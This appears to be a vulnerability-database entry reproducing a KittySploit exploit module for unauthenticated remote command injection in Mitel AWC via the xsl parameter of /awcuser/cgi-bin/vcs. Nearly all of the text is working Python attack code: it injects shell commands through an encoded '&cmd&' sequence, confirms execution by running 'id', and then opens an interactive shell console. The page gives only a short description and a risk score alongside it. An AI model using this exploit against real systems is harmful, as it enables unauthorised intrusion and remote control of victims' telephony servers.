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Mitel AWC - xsl Parameter RCE

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated RCE in Mitel AWC via the xsl parameter of /awcuser/cgi-bin/vcs.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Mitel AWC xsl parameter command injection."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Mitel AWC - xsl Parameter RCE',
        'description': (
            'Exploits Mitel AWC command injection via the xsl parameter of '
            '/awcuser/cgi-bin/vcs.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.securityfocus.com/bid/45537'],
        'tags': ['mitel', 'awc', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/mitel_awc_rce_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        # NASL uses xsl=/vcs/vcs_home.xsl%26id%26  (&cmd&)
        inj = quote(f'/vcs/vcs_home.xsl&{cmd}&', safe='')
        path = f'/awcuser/cgi-bin/vcs?xsl={inj}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to Mitel AWC RCE')
            return False
        print_success('Mitel AWC RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

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10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6
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